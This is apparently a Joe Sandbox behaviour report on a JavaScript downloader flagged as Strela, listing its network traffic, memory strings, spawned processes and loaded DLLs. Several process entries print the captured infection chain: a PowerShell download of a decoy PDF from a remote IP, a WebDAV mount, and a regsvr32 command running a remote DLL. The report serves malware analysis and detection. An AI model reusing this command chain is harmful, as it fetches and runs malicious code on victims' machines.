TCP traffic: 192.168.2.11:49724 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.11:55490 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.11:49708 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.1297844118.00000208C41F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1363336477.0000020409BC9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1363336477.0000020409BED000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1363197729.0000020409B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000003.1362012758.0000020409BC9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1363336477.0000020409BC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/T
Source: net.exe, 00000008.00000002.1363197729.0000020409B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/~
Source: svchost.exe, 0000000A.00000002.2597778547.000002A6CE800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000000A.00000003.1362213404.000002A6CE560000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 868, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 32279194341766111087.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5832:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1hjpd1zm.hc0.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32279194341766111087.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1748,i,11596706274574819651,14604859157865583046,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1748,i,11596706274574819651,14604859157865583046,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
